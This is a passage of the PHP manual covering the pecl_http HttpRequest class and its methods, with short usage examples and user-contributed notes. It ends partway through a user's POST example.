HttpQueryString
PHP Manual

HttpQueryString::xlate

(PECL pecl_http >= 0.25.0)

HttpQueryString::xlate — Change query strings charset

Description

public bool HttpQueryString::xlate ( string $ie , string $oe )

Converts the query string from the source encoding ie to the target encoding oe.

Warning

Don't use any character set that can contain NUL bytes like UTF-16.

Note:

This method requires ext/iconv to be enabled and loaded.

Parameters

ie

input encoding

oe

output encoding

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpQueryString::toString
HttpRequest
HttpQueryString


The HttpRequest

(No version information available, might only be in SVN)

Class synopsis

HttpRequest {
public bool addCookies ( array $cookies )
public bool addHeaders ( array $headers )
public bool addPostFields ( array $post_data )
public bool addPostFile ( string $name , string $file [, string $content_type = "application/x-octetstream" ] )
public bool addPutData ( string $put_data )
public bool addQueryData ( array $query_params )
public bool addRawPostData ( string $raw_post_data )
public bool addSslOptions ( array $options )
public void clearHistory ( void )
public __construct ([ string $url [, int $request_method = HTTP_METH_GET [, array $options ]]] )
public bool enableCookies ( void )
public string getContentType ( void )
public array getCookies ( void )
public array getHeaders ( void )
public HttpMessage getHistory ( void )
public int getMethod ( void )
public array getOptions ( void )
public array getPostFields ( void )
public array getPostFiles ( void )
public string getPutData ( void )
public string getPutFile ( void )
public string getQueryData ( void )
public string getRawPostData ( void )
public string getRawRequestMessage ( void )
public string getRawResponseMessage ( void )
public HttpMessage getRequestMessage ( void )
public string getResponseBody ( void )
public int getResponseCode ( void )
public array getResponseCookies ([ int $flags = 0 [, array $allowed_extras ]] )
public array getResponseData ( void )
public mixed getResponseHeader ([ string $name ] )
public mixed getResponseInfo ([ string $name ] )
public HttpMessage getResponseMessage ( void )
public string getResponseStatus ( void )
public array getSslOptions ( void )
public string getUrl ( void )
public bool resetCookies ([ bool $session_only = false ] )
public HttpMessage send ( void )
bool setBody ([ string $request_body_data ] )
public bool setContentType ( string $content_type )
public bool setCookies ([ array $cookies ] )
public bool setHeaders ([ array $headers ] )
public bool setMethod ( int $request_method )
public bool setOptions ([ array $options ] )
public bool setPostFields ( array $post_data )
public bool setPostFiles ( array $post_files )
public bool setPutData ([ string $put_data ] )
public bool setPutFile ([ string $file = "" ] )
public bool setQueryData ( mixed $query_data )
public bool setRawPostData ([ string $raw_post_data ] )
public bool setSslOptions ([ array $options ] )
public bool setUrl ( string $url )
}

Class Members

Properties

Instance Properties
Modifiers | Type | Name | Description
private | array | options | request options to configure the request; see request options
private array postFields form data:
array("fieldname" => "fieldvalue")
private array postFiles files to upload:
array(array("name" => "image", "file" => "/home/u/images/u.png", "type" => "image/png"))
private | array | responseInfo | information (statistical) about the request/response; see Request/response information
private | HttpMessage | responseMessage | the response message
private | integer | responseCode | the numerical response code
private | string | responseStatus | the literal response status text
private | integer | method | the request method to use
private | string | url | the request url
private | string | contentType | the content type to use for raw post requests
private | string | rawPostData | raw post data
private | string | queryData | query parameters
private | string | putFile | the file to upload with a PUT request
private | string | putData | raw data to upload with a PUT request
private | HttpMessage | history | the whole request/response history if history logging is enabled
public | boolean | recordHistory | whether to enable history logging

Predefined Constants

Type | Name | Description
integer | METH_GET | GET request method
integer | METH_HEAD | HEAD request method
integer | METH_POST | POST request method
integer | METH_PUT | PUT request method
integer | METH_DELETE | DELETE request method
integer | METH_OPTIONS | OPTIONS request method
integer | METH_TRACE | TRACE request method
integer | METH_CONNECT | CONNECT request method
integer | METH_PROPFIND | PROPFIND request method
integer | METH_PROPPATCH | PROPPATCH request method
integer | METH_MKCOL | MKCOL request method
integer | METH_COPY | COPY request method
integer | METH_MOVE | MOVE request method
integer | METH_LOCK | LOCK request method
integer | METH_UNLOCK | UNLOCK request method
integer | METH_VERSION_CONTROL | VERSION-CONTROL request method
integer | METH_REPORT | REPORT request method
integer | METH_CHECKOUT | CHECKOUT request method
integer | METH_CHECKIN | CHECKIN request method
integer | METH_UNCHECKOUT | UNCHECKOUT request method
integer | METH_MKWORKSPACE | MKWORKSPACE request method
integer | METH_UPDATE | UPDATE request method
integer | METH_LABEL | LABEL request method
integer | METH_MERGE | MERGE request method
integer | METH_BASELINE_CONTROL | BASELINE-CONTROL request method
integer | METH_MKACTIVITY | MKACTIVITY request method
integer | METH_ACL | ACL request method
integer | VERSION_1_0 | HTTP protocol version 1.0
integer | VERSION_1_1 | HTTP protocol version 1.1
integer | VERSION_ANY | any HTTP protocol version
integer | AUTH_BASIC | basic authentication
integer | AUTH_DIGEST | digest authentication
integer | AUTH_NTLM | NTLM authentication
integer | AUTH_GSSNEG | GSS negotiate authentication
integer | AUTH_ANY | any authentication
integer | PROXY_SOCKS4 | SOCKS v4 proxy
integer | PROXY_SOCKS5 | SOCKS v5 proxy
integer | PROXY_HTTP | HTTP proxy
integer | SSL_VERSION_TLSv1 | use TLS v1
integer | SSL_VERSION_SSLv2 | use SSL v2
integer | SSL_VERSION_SSLv3 | use SSL v3
integer | SSL_VERSION_ANY | use any SSL/TLS method
integer | IPRESOLVE_V4 | resolve via IPv4 only
integer | IPRESOLVE_V6 | resolve via IPv6 only
integer | IPRESOLVE_ANY | use any resolving methods

Table of Contents

  • HttpRequest::addCookies — Add cookies
  • HttpRequest::addHeaders — Add headers
  • HttpRequest::addPostFields — Add post fields
  • HttpRequest::addPostFile — Add post file
  • HttpRequest::addPutData — Add put data
  • HttpRequest::addQueryData — Add query data
  • HttpRequest::addRawPostData — Add raw post data
  • HttpRequest::addSslOptions — Add ssl options
  • HttpRequest::clearHistory — Clear history
  • HttpRequest::__construct — HttpRequest constructor
  • HttpRequest::enableCookies — Enable cookies
  • HttpRequest::getContentType — Get content type
  • HttpRequest::getCookies — Get cookies
  • HttpRequest::getHeaders — Get headers
  • HttpRequest::getHistory — Get history
  • HttpRequest::getMethod — Get method
  • HttpRequest::getOptions — Get options
  • HttpRequest::getPostFields — Get post fields
  • HttpRequest::getPostFiles — Get post files
  • HttpRequest::getPutData — Get put data
  • HttpRequest::getPutFile — Get put file
  • HttpRequest::getQueryData — Get query data
  • HttpRequest::getRawPostData — Get raw post data
  • HttpRequest::getRawRequestMessage — Get raw request message
  • HttpRequest::getRawResponseMessage — Get raw response message
  • HttpRequest::getRequestMessage — Get request message
  • HttpRequest::getResponseBody — Get response body
  • HttpRequest::getResponseCode — Get response code
  • HttpRequest::getResponseCookies — Get response cookie(s)
  • HttpRequest::getResponseData — Get response data
  • HttpRequest::getResponseHeader — Get response header(s)
  • HttpRequest::getResponseInfo — Get response info
  • HttpRequest::getResponseMessage — Get response message
  • HttpRequest::getResponseStatus — Get response status
  • HttpRequest::getSslOptions — Get ssl options
  • HttpRequest::getUrl — Get url
  • HttpRequest::resetCookies — Reset cookies
  • HttpRequest::send — Send request
  • HttpRequest::setBody — Set request body to send, overwriting previously set request body.
  • HttpRequest::setContentType — Set content type
  • HttpRequest::setCookies — Set cookies
  • HttpRequest::setHeaders — Set headers
  • HttpRequest::setMethod — Set method
  • HttpRequest::setOptions — Set options
  • HttpRequest::setPostFields — Set post fields
  • HttpRequest::setPostFiles — Set post files
  • HttpRequest::setPutData — Set put data
  • HttpRequest::setPutFile — Set put file
  • HttpRequest::setQueryData — Set query data
  • HttpRequest::setRawPostData — Set raw post data
  • HttpRequest::setSslOptions — Set ssl options
  • HttpRequest::setUrl — Set URL

User Contributed Notes

ionathan at gmail dot com 09-Sep-2009 08:11
Note that HttpRequest sets different defaults than curl (which is the library used by HttpRequest behind the scenes). For example in curl the connecttimeout is 0 and in HttpRequest it is 3.
Also note that by default HttpRequest uses infinite persistent connections. That can be set in the ini file. Read the docs for more information.
HttpQueryString::xlate
HttpRequest::addCookies
HTTP


Add cookies

HttpRequest
HttpRequest::addHeaders
HttpRequest
PHP Manual

HttpRequest::addCookies

(PECL pecl_http >= 0.10.0)

HttpRequest::addCookies — Add cookies

Description

public bool HttpRequest::addCookies ( array $cookies )

Add custom cookies.

Note: The request option encodecookies controls whether the cookie values should be urlencode()d.

Note: Affects any request method.

Parameters

cookies

an associative array containing any cookie name/value pairs to add

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A HttpRequest::addCookies() example

<?php
$r = new HttpRequest;
$r->addCookies(
    array(
        "cookie_name" => "cookie value",
    )
);
?>

See Also

  • HttpRequest::setCookies() - Set cookies

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest
HttpRequest::addHeaders
HttpRequest


Add headers

HttpRequest::addCookies
HttpRequest::addPostFields
HttpRequest
PHP Manual

HttpRequest::addHeaders

(PECL pecl_http >= 0.10.0)

HttpRequest::addHeaders — Add headers

Description

public bool HttpRequest::addHeaders ( array $headers )

Add request header name/value pairs.

Parameters

headers

an associative array as parameter containing additional header name/value pairs

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

pal 04-Nov-2008 04:20
If like me you were wondering why your POST request is going out with the header 'Expect: 100-continue' set, it is being added by libcurl.

This can only be noticed when using HttpRequest::getRawRequestMessage() and not HttpRequest::getHeaders(), or of course tcpdump or similar.

To remove this header you can do the following;

$r->addHeaders(array('Expect' => ''));

Note this behaviour has also been reported in http://au.php.net/manual/en/function.curl-setopt.php#82418
HttpRequest::addCookies
HttpRequest::addPostFields
HttpRequest


Add post fields

HttpRequest::addHeaders
HttpRequest::addPostFile
HttpRequest
PHP Manual

HttpRequest::addPostFields

(PECL pecl_http >= 0.10.0)

HttpRequest::addPostFields — Add post fields

Description

public bool HttpRequest::addPostFields ( array $post_data )

Adds POST data entries, leaving previously set unchanged, unless a post entry with the same name already exists.

Affects only POST and custom requests.

Parameters

post_data

an associative array as parameter containing the post fields

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::addHeaders
HttpRequest::addPostFile
HttpRequest


Add post file

HttpRequest::addPostFields
HttpRequest::addPutData
HttpRequest
PHP Manual

HttpRequest::addPostFile

(PECL pecl_http >= 0.10.0)

HttpRequest::addPostFile — Add post file

Description

public bool HttpRequest::addPostFile ( string $name , string $file [, string $content_type = "application/x-octetstream" ] )

Add a file to the POST request, leaving previously set files unchanged.

Affects only POST and custom requests. Cannot be used with raw post data.

Parameters

name

the form element name

file

the path to the file

content_type

the content type of the file

Return Values

Returns TRUE on success, or FALSE if the content type seems not to contain a primary and a secondary content type part.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::addPostFields
HttpRequest::addPutData
HttpRequest


Add put data

HttpRequest::addPostFile
HttpRequest::addQueryData
HttpRequest
PHP Manual

HttpRequest::addPutData

(PECL pecl_http >= 0.25.0)

HttpRequest::addPutData — Add put data

Description

public bool HttpRequest::addPutData ( string $put_data )

Add PUT data, leaving previously set PUT data unchanged.

Affects only PUT requests.

Parameters

put_data

the data to concatenate

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::addPostFile
HttpRequest::addQueryData
HttpRequest


Add query data

HttpRequest::addPutData
HttpRequest::addRawPostData
HttpRequest
PHP Manual

HttpRequest::addQueryData

(PECL pecl_http >= 0.10.0)

HttpRequest::addQueryData — Add query data

Description

public bool HttpRequest::addQueryData ( array $query_params )

Add parameters to the query parameter list, leaving previously set unchanged.

Affects any request type.

Parameters

query_params

an associative array as parameter containing the query fields to add

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anonymous 21-May-2009 06:52
Litte example :

/Tests/get.php :
========================
<?php
    header('Content-Type: text/plain') ;
    print_r($_GET) ;
?>
========================

/Tests/http.php :
========================
<?php
    header('Content-Type: text/plain') ;
    $request = new HttpRequest('http://127.0.0.1/Tests/get.php?foo=bar') ;
    $request->addQueryData(array('baz' => 'qux')) ;
    $response = new HttpMessage($request->send( )) ;
    echo $response->getBody( ) ;
?>
========================

Run /Test/http.php display :
========================
Array
(
    [foo] => bar
    [baz] => qux
)
========================

So HttpRequest::addQueryData( ) deals with hard-coded GET data and complete them.
HttpRequest::addPutData
HttpRequest::addRawPostData
HttpRequest


Add raw post data

HttpRequest::addQueryData
HttpRequest::addSslOptions
HttpRequest
PHP Manual

HttpRequest::addRawPostData

(PECL pecl_http 0.14.0-1.4.1)

HttpRequest::addRawPostData — Add raw post data

Description

public bool HttpRequest::addRawPostData ( string $raw_post_data )

Add raw post data, leaving previously set raw post data unchanged.

Affects only POST and custom requests.

Parameters

raw_post_data

the raw post data to concatenate

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

mahdi at ghadamyari dot com 17-Jun-2011 02:02
<?php
$r = new HttpRequest;
$r->addRawPostData('name=myname&website=mysite&comment=mytext');
?>
Patrick Mackinlay 25-Jul-2009 08:26
In PECL::HTTP/1.6.3 (PHP/5.2.10) this does not work, it sets the raw put data. Use setRawPostData
HttpRequest::addQueryData
HttpRequest::addSslOptions
HttpRequest


Add ssl options

HttpRequest::addRawPostData
HttpRequest::clearHistory
HttpRequest
PHP Manual

HttpRequest::addSslOptions

(PECL pecl_http >= 0.12.0)

HttpRequest::addSslOptions — Add ssl options

Description

public bool HttpRequest::addSslOptions ( array $options )

Set additional SSL options.

Parameters

options

an associative array as parameter containing additional SSL specific options

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::addRawPostData
HttpRequest::clearHistory
HttpRequest


Clear history

HttpRequest::addSslOptions
HttpRequest::__construct
HttpRequest
PHP Manual

HttpRequest::clearHistory

(PECL pecl_http >= 0.15.0)

HttpRequest::clearHistory — Clear history

Description

public void HttpRequest::clearHistory ( void )

Clears all history messages.

Note:

History is only logged if recordHistory was enabled.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::addSslOptions
HttpRequest::__construct
HttpRequest


HttpRequest constructor

HttpRequest::clearHistory
HttpRequest::enableCookies
HttpRequest
PHP Manual

HttpRequest::__construct

(PECL pecl_http >= 0.10.0)

HttpRequest::__construct — HttpRequest constructor

Description

public HttpRequest::__construct ([ string $url [, int $request_method = HTTP_METH_GET [, array $options ]]] )

Instantiate a new HttpRequest object.

Parameters

url

the target request url

request_method

the request method to use

options

an associative array with request options

Errors/Exceptions

Throws HttpException.

User Contributed Notes

RLK 15-Jul-2010 01:51
You can use custom methods here if you use the undocumented HttpRequest::methodRegister()

<?php
HttpRequest::methodRegister('foobar');
$r = new HttpRequest('http://www.php.net', HttpRequest::METH_FOOBAR);
?>
andychr17 at hotmail dot com 29-Jun-2008 07:34
I found that by not having a trailing slash (e.g. "http://www.google.com"), HttpRequest would tack on the URI of the script I was currently accessing.

An easy way to prevent this from happening is to include a trailing slash in the url. This way, "http://www.google.com" becomes "http://www.google.com/".
HttpRequest::clearHistory
HttpRequest::enableCookies
HttpRequest


Enable cookies

HttpRequest::__construct
HttpRequest::getContentType
HttpRequest
PHP Manual

HttpRequest::enableCookies

(PECL pecl_http >= 1.0.0)

HttpRequest::enableCookies — Enable cookies

Description

public bool HttpRequest::enableCookies ( void )

Enable automatic sending of received cookies.

Note:

Note that custom set cookies will be sent anyway.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::__construct
HttpRequest::getContentType
HttpRequest


Get content type

HttpRequest::enableCookies
HttpRequest::getCookies
HttpRequest
PHP Manual

HttpRequest::getContentType

(PECL pecl_http >= 0.10.0)

HttpRequest::getContentType — Get content type

Description

public string HttpRequest::getContentType ( void )

Get the previously set content type.

Return Values

Returns the previously set content type as string.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::enableCookies
HttpRequest::getCookies
HttpRequest


Get cookies

HttpRequest::getContentType
HttpRequest::getHeaders
HttpRequest
PHP Manual

HttpRequest::getCookies

(PECL pecl_http >= 0.10.0)

HttpRequest::getCookies — Get cookies

Description

public array HttpRequest::getCookies ( void )

Get previously set cookies.

Return Values

Returns an associative array containing any previously set cookies.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getContentType
HttpRequest::getHeaders
HttpRequest


Get headers

HttpRequest::getCookies
HttpRequest::getHistory
HttpRequest
PHP Manual

HttpRequest::getHeaders

(PECL pecl_http >= 0.10.0)

HttpRequest::getHeaders — Get headers

Description

public array HttpRequest::getHeaders ( void )

Get previously set request headers.

Return Values

Returns an associative array containing all currently set headers.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getCookies
HttpRequest::getHistory
HttpRequest


Get history

HttpRequest::getHeaders
HttpRequest::getMethod
HttpRequest
PHP Manual

HttpRequest::getHistory

(PECL pecl_http >= 0.15.0)

HttpRequest::getHistory — Get history

Description

public HttpMessage HttpRequest::getHistory ( void )

Get all sent requests and received responses as an HttpMessage object.

If you want to record history, set the instance variable HttpRequest::recordHistory to TRUE.

The returned object references the last received response, use HttpMessage::getParentMessage() to access the data of previously sent requests and received responses.

Return Values

Returns an HttpMessage object representing the complete request/response history.

Errors/Exceptions

Throws HttpRuntimeException.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getHeaders
HttpRequest::getMethod
HttpRequest


Get method

HttpRequest::getHistory
HttpRequest::getOptions
HttpRequest
PHP Manual

HttpRequest::getMethod

(PECL pecl_http >= 0.10.0)

HttpRequest::getMethod — Get method

Description

public int HttpRequest::getMethod ( void )

Get the previously set request method.

Return Values

Returns the currently set request method.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getHistory
HttpRequest::getOptions
HttpRequest


Get options

HttpRequest::getMethod
HttpRequest::getPostFields
HttpRequest
PHP Manual

HttpRequest::getOptions

(PECL pecl_http >= 0.10.0)

HttpRequest::getOptions — Get options

Description

public array HttpRequest::getOptions ( void )

Get currently set options.

Return Values

Returns an associative array containing currently set options.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getMethod
HttpRequest::getPostFields
HttpRequest


Get post fields

HttpRequest::getOptions
HttpRequest::getPostFiles
HttpRequest
PHP Manual

HttpRequest::getPostFields

(PECL pecl_http >= 0.10.0)

HttpRequest::getPostFields — Get post fields

Description

public array HttpRequest::getPostFields ( void )

Get previously set POST data.

Parameters

Return Values

Returns the currently set post fields as associative array.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getOptions
HttpRequest::getPostFiles
HttpRequest


Get post files

HttpRequest::getPostFields
HttpRequest::getPutData
HttpRequest
PHP Manual

HttpRequest::getPostFiles

(PECL pecl_http >= 0.10.0)

HttpRequest::getPostFiles — Get post files

Description

public array HttpRequest::getPostFiles ( void )

Get all previously added POST files.

Return Values

Returns an array containing currently set post files.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getPostFields
HttpRequest::getPutData
HttpRequest


Get put data

HttpRequest::getPostFiles
HttpRequest::getPutFile
HttpRequest
PHP Manual

HttpRequest::getPutData

(PECL pecl_http >= 0.25.0)

HttpRequest::getPutData — Get put data

Description

public string HttpRequest::getPutData ( void )

Get previously set PUT data.

Return Values

Returns a string containing the currently set PUT data.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getPostFiles
HttpRequest::getPutFile
HttpRequest


Get put file

HttpRequest::getPutData
HttpRequest::getQueryData
HttpRequest
PHP Manual

HttpRequest::getPutFile

(PECL pecl_http >= 0.10.0)

HttpRequest::getPutFile — Get put file

Description

public string HttpRequest::getPutFile ( void )

Get previously set put file.

Return Values

Returns a string containing the path to the currently set put file.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getPutData
HttpRequest::getQueryData
HttpRequest


Get query data

HttpRequest::getPutFile
HttpRequest::getRawPostData
HttpRequest
PHP Manual

HttpRequest::getQueryData

(PECL pecl_http >= 0.10.0)

HttpRequest::getQueryData — Get query data

Description

public string HttpRequest::getQueryData ( void )

Get the current query data in form of an urlencoded query string.

Return Values

Returns a string containing the urlencoded query.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getPutFile
HttpRequest::getRawPostData
HttpRequest


Get raw post data

HttpRequest::getQueryData
HttpRequest::getRawRequestMessage
HttpRequest
PHP Manual

HttpRequest::getRawPostData

(PECL pecl_http 0.14.0-1.4.1)

HttpRequest::getRawPostData — Get raw post data

Description

public string HttpRequest::getRawPostData ( void )

Get previously set raw post data.

Parameters

Return Values

Returns a string containing the currently set raw post data.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getQueryData
HttpRequest::getRawRequestMessage
HttpRequest


Get raw request message

HttpRequest::getRawPostData
HttpRequest::getRawResponseMessage
HttpRequest
PHP Manual

HttpRequest::getRawRequestMessage

(PECL pecl_http >= 0.21.0)

HttpRequest::getRawRequestMessage — Get raw request message

Description

public string HttpRequest::getRawRequestMessage ( void )

Get sent HTTP message.

Parameters

Return Values

Returns an HttpMessage in a form of a string.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getRawPostData
HttpRequest::getRawResponseMessage
HttpRequest


Get raw response message

HttpRequest::getRawRequestMessage
HttpRequest::getRequestMessage
HttpRequest
PHP Manual

HttpRequest::getRawResponseMessage

(PECL pecl_http >= 0.21.0)

HttpRequest::getRawResponseMessage — Get raw response message

Description

public string HttpRequest::getRawResponseMessage ( void )

Get the entire HTTP response.

Parameters

Return Values

Returns the complete web server response, including the headers in a form of a string.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getRawRequestMessage
HttpRequest::getRequestMessage
HttpRequest


Get request message

HttpRequest::getRawResponseMessage
HttpRequest::getResponseBody
HttpRequest
PHP Manual

HttpRequest::getRequestMessage

(PECL pecl_http >= 0.11.0)

HttpRequest::getRequestMessage — Get request message

Description

public HttpMessage HttpRequest::getRequestMessage ( void )

Get sent HTTP message.

If redirects were allowed and several responses were received, the data references the last received response. Use HttpMessage::getParentMessage() to access the data of previously sent requests within this request cycle.

Note:

Note that the internal request message is immutable, that means that the request message received through HttpRequest::getRequestMessage() will always look the same for the same request, regardless of any changes you may have made to the returned object.

Return Values

Returns an HttpMessage object representing the sent request.

Errors/Exceptions

Throws HttpMalformedHeadersException, HttpEncodingException.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getRawResponseMessage
HttpRequest::getResponseBody
HttpRequest


Get response body

HttpRequest::getRequestMessage
HttpRequest::getResponseCode
HttpRequest
PHP Manual

HttpRequest::getResponseBody

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseBody — Get response body

Description

public string HttpRequest::getResponseBody ( void )

Get the response body after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response.

Parameters

Return Values

Returns a string containing the response body.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getRequestMessage
HttpRequest::getResponseCode
HttpRequest


Get response code

HttpRequest::getResponseBody
HttpRequest::getResponseCookies
HttpRequest
PHP Manual

HttpRequest::getResponseCode

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseCode — Get response code

Description

public int HttpRequest::getResponseCode ( void )

Get the response code after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response.

Return Values

Returns an int representing the response code.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getResponseBody
HttpRequest::getResponseCookies
HttpRequest


Get response cookie(s)

HttpRequest::getResponseCode
HttpRequest::getResponseData
HttpRequest
PHP Manual

HttpRequest::getResponseCookies

(PECL pecl_http >= 0.23.0)

HttpRequest::getResponseCookies — Get response cookie(s)

Description

public array HttpRequest::getResponseCookies ([ int $flags = 0 [, array $allowed_extras ]] )

Get response cookie(s) after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response.

Parameters

flags

http_parse_cookie() flags

allowed_extras

allowed keys treated as extra information instead of cookie names

Return Values

Returns an array of stdClass objects like http_parse_cookie() would return.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getResponseCode
HttpRequest::getResponseData
HttpRequest


Get response data

HttpRequest::getResponseCookies
HttpRequest::getResponseHeader
HttpRequest
PHP Manual

HttpRequest::getResponseData

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseData — Get response data

Description

public array HttpRequest::getResponseData ( void )

* Get all response data after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response.

Return Values

Returns an associative array with the key "headers" containing an associative array holding all response headers, as well as the key "body" containing a string with the response body.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getResponseCookies
HttpRequest::getResponseHeader
HttpRequest


Get response header(s)

HttpRequest::getResponseData
HttpRequest::getResponseInfo
HttpRequest
PHP Manual

HttpRequest::getResponseHeader

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseHeader — Get response header(s)

Description

public mixed HttpRequest::getResponseHeader ([ string $name ] )

Get response header(s) after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response.

Parameters

name

header to read; if empty, all response headers will be returned

Return Values

Returns either a string with the value of the header matching name if requested, FALSE on failure, or an associative array containing all response headers.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getResponseData
HttpRequest::getResponseInfo
HttpRequest


Get response info

HttpRequest::getResponseHeader
HttpRequest::getResponseMessage
HttpRequest
PHP Manual

HttpRequest::getResponseInfo

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseInfo — Get response info

Description

public mixed HttpRequest::getResponseInfo ([ string $name ] )

Get response info after the request has been sent.

See http_get() for a full list of returned info.

If redirects were allowed and several responses were received, the data references the last received response.

Parameters

name

the info to read; if empty or omitted, an associative array containing all available info will be returned

Return Values

Returns either a scalar containing the value of the info matching name if requested, FALSE on failure, or an associative array containing all available info.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getResponseHeader
HttpRequest::getResponseMessage
HttpRequest


Get response message

HttpRequest::getResponseInfo
HttpRequest::getResponseStatus
HttpRequest
PHP Manual

HttpRequest::getResponseMessage

(PECL pecl_http >= 0.10.0)

HttpRequest::getResponseMessage — Get response message

Description

public HttpMessage HttpRequest::getResponseMessage ( void )

Get the full response as HttpMessage object after the request has been sent.

If redirects were allowed and several responses were received, the data references the last received response. Use HttpMessage::getParentMessage() to access the data of previously received responses within this request cycle.

Return Values

Returns an HttpMessage object of the response.

Errors/Exceptions

Throws HttpException, HttpRuntimeException.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getResponseInfo
HttpRequest::getResponseStatus
HttpRequest


Get response status

HttpRequest::getResponseMessage
HttpRequest::getSslOptions
HttpRequest
PHP Manual

HttpRequest::getResponseStatus

(PECL pecl_http >= 0.23.0)

HttpRequest::getResponseStatus — Get response status

Description

public string HttpRequest::getResponseStatus ( void )

Get the response status (i.e. the string after the response code) after the message has been sent.

Return Values

Returns a string containing the response status text.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getResponseMessage
HttpRequest::getSslOptions
HttpRequest


Get ssl options

HttpRequest::getResponseStatus
HttpRequest::getUrl
HttpRequest
PHP Manual

HttpRequest::getSslOptions

(PECL pecl_http >= 0.10.0)

HttpRequest::getSslOptions — Get ssl options

Description

public array HttpRequest::getSslOptions ( void )

Get previously set SSL options.

Return Values

Returns an associative array containing any previously set SSL options.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getResponseStatus
HttpRequest::getUrl
HttpRequest


Get url

HttpRequest::getSslOptions
HttpRequest::resetCookies
HttpRequest
PHP Manual

HttpRequest::getUrl

(PECL pecl_http >= 0.10.0)

HttpRequest::getUrl — Get url

Description

public string HttpRequest::getUrl ( void )

Get the previously set request URL.

Return Values

Returns the currently set request url as string.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getSslOptions
HttpRequest::resetCookies
HttpRequest


Reset cookies

HttpRequest::getUrl
HttpRequest::send
HttpRequest
PHP Manual

HttpRequest::resetCookies

(PECL pecl_http >= 1.0.0)

HttpRequest::resetCookies — Reset cookies

Description

public bool HttpRequest::resetCookies ([ bool $session_only = false ] )

Reset all automatically received/sent cookies.

Note:

Note that custom set cookies are not affected.

Parameters

session_only

whether only session cookies should be reset (needs libcurl >= v7.15.4, else libcurl >= v7.14.1)

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpRequest::getUrl
HttpRequest::send
HttpRequest


Send request

HttpRequest::resetCookies
HttpRequest::setBody
HttpRequest
PHP Manual

HttpRequest::send

(PECL pecl_http >= 0.10.0)

HttpRequest::send — Send request

Description

public HttpMessage HttpRequest::send ( void )

Send the HTTP request.

Note:

While an exception may be thrown, the transfer could have succeeded at least partially, so you might want to check the return values of various HttpRequest::getResponse*() methods.

Return Values

Returns the received response as HttpMessage object.

Errors/Exceptions

Throws HttpRuntimeException, HttpRequestException, HttpMalformedHeaderException, HttpEncodingException.

Examples

Example #1 GET example

<?php
$r = new HttpRequest('http://example.com/feed.rss', HttpRequest::METH_GET);
$r->setOptions(array('lastmodified' => filemtime('local.rss')));
$r->addQueryData(array('category' => 3));
try {
    $r->send();
    if ($r->getResponseCode() == 200) {
        file_put_contents('local.rss', $r->getResponseBody());
    }
} catch (HttpException $ex) {
    echo $ex;
}
?>

Example #2 POST example

<?php
$r = new HttpRequest('http://example.com/form.php', HttpRequest::METH_POST);
$r->setOptions(array('cookies' => array('lang' => 'de')));
$r->addPostFields(array('user' => 'mike', 'pass' => 's3c|r3t'));
$r->addPostFile('image', 'profile.jpg', 'image/jpeg');
try {
    echo $r->send()->getBody();
} catch (HttpException $ex) {
    echo $ex;
}
?>

User Contributed Notes

elio dot cuevas at ge dot com 23-Jun-2010 10:48
The HttpRequest class does support redirects, but it's disabled by default. To enable redirect do something like this:
<?php
// Set number of redirects to a reasonable number.
$r->setOptions(array('redirect' => 10));
?>
Lymber 18-Jan-2010 09:22
Example how to use HttpRequest to post data and receive the response:
<?php
//set up variables
$theData = '<?xml version="1.0"?>
<note>
    <to>php.net</to>
    <from>lymber</from>
    <heading>php http request</heading>
    <body>i love php!</body>
</note>';
$url = 'http://www.example.com';
$credentials = 'user@example.com:password';
$header_array = array('Expect' => '',
                'From' => 'User A');
$ssl_array = array('version' => SSL_VERSION_SSLv3);
$options = array(headers => $header_array,
                httpauth => $credentials,
                httpauthtype => HTTP_AUTH_BASIC,
